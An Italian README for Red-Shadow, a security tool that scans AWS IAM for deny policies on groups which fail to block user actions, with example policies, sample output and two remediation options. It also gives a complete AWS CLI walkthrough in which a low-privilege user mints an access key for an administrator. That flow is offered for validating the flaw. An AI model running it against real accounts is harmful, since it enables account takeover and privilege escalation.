
Scansiona le configurazioni AWS IAM per gli amministratori ombra rilevando politiche deny configurate in modo errato che non riescono a limitare le azioni degli utenti sui gruppi, consentendo il rilevamento e la correzione dell'escalation dei privilegi.
Scansiona la tua configurazione AWS IAM per individuare shadow admin in AWS IAM basati su policy di negazione configurate in modo errato che non influenzano gli utenti nei gruppi, scoperte dal Team di Ricerca sulla Sicurezza di Lightspin.
Lo strumento rileva le configurazioni errate nei seguenti oggetti IAM:
Policies Gestite
Policies Inline degli Utenti
Policies Inline dei Gruppi
Policies Inline dei Ruoli
La logica di valutazione AWS IAM per le policy di negazione applicate ai gruppi non funziona allo stesso modo a cui la maggior parte degli ingegneri della sicurezza potrebbe essere abituata con altri meccanismi di autorizzazione.
Supponiamo che una policy con una risorsa di gruppo abbia una negazione esplicita. In tal caso, ciò influenzerà solo le azioni di gruppo e non le azioni degli utenti, esponendo le organizzazioni a configurazioni errate e vulnerabilità se presumono che il processo sia lo stesso, ad esempio, di Active Directory.
Esempio di policy json vulnerabile:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
In questo esempio, la policy dovrebbe negare qualsiasi azione iam eseguita da utenti, gruppi o ruoli a cui è allegata tale policy, verso il gruppo chiamato managers.
Il fatto è che una semplice azione IAM come iam:ChangePassword funzionerebbe perché la policy di negazione è inefficace.
Link al blog completo della ricerca sulla sicurezza
AWS IAM ha una chiara separazione tra le azioni sugli oggetti utente e le azioni sugli oggetti di gruppo.
La seguente lista include le azioni sugli oggetti utente che lo strumento scansiona sulle policy di negazione che influenzano i gruppi (oltre al wildcard):
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
Molte delle azioni sugli oggetti utente menzionate sopra possono facilmente portare a un escalation di privilegi o al compromissione dell'account, come il ripristino della password dell'amministratore, la disattivazione dell'MFA dell'account root e altro.
Red-Shadow è costruito con Python 3 e Boto3.
Lo strumento richiede:
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
I risultati scoprono qualsiasi oggetto IAM vulnerabile a tale bypass di autorizzazione in AWS.
Esempio di output dei risultati:
++ Starting Red-Shadow ++
++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups
Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done
In questo output della console, possiamo vedere che la nostra policy di negazione ProtectManagers è inefficace e vulnerabile ad attacchi come l'escalation di privilegi menzionata sopra.
Per convalidare la vulnerabilità IAM ed eseguire lo sfruttamento, puoi seguire il seguente flusso:
aws iam create-group --group-name managers
aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-user --user-name JohnAdmin
aws iam add-user-to-group --user-name JohnAdmin --group-name managers
crea un file policy.json con i contenuti qui sotto (sostituisci l'ID dell'account):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json
aws iam create-group --group-name backend-dev
aws iam create-user --user-name BobAttacker
aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev
aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers
Crea una policy per permettere agli utenti di creare chiavi di accesso nel file policy_iam.json per il gruppo backend-dev:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json
aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys
Convalida la nostra configurazione usando:
aws iam list-attached-group-policies --group backend-dev
aws iam create-access-key --user-name BobAttacker
Configura la nuova chiave di accesso e il segreto nel profilo AWS (ambiente locale)
Ora l'utente BobAttacker può creare una chiave di accesso per tutte le risorse ma ha una negazione esplicita per il gruppo managers.
Sfruttiamo la vulnerabilità usando:
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
Escalation di Privilegi Completata!
Una volta trovate le policy vulnerabili al bypass di autorizzazione, ci sono due possibili modi per rimediare alla vulnerabilità e correggere la policy:
OPZIONE 1: Definisci tutti gli utenti rilevanti nel campo resource invece dei gruppi per evitare azioni iam inefficaci, e nega tutte le azioni di gruppo, come nell'esempio seguente:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
OPZIONE 2: Usa una condizione nella policy con iam:ResourceTag al posto, come nell'esempio seguente:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
Questa ricerca è stata condotta dal Team di Ricerca sulla Sicurezza di Lightspin. Per maggiori informazioni, contattaci a [email protected].
Questo repository è disponibile sotto la Licenza Apache 2.0.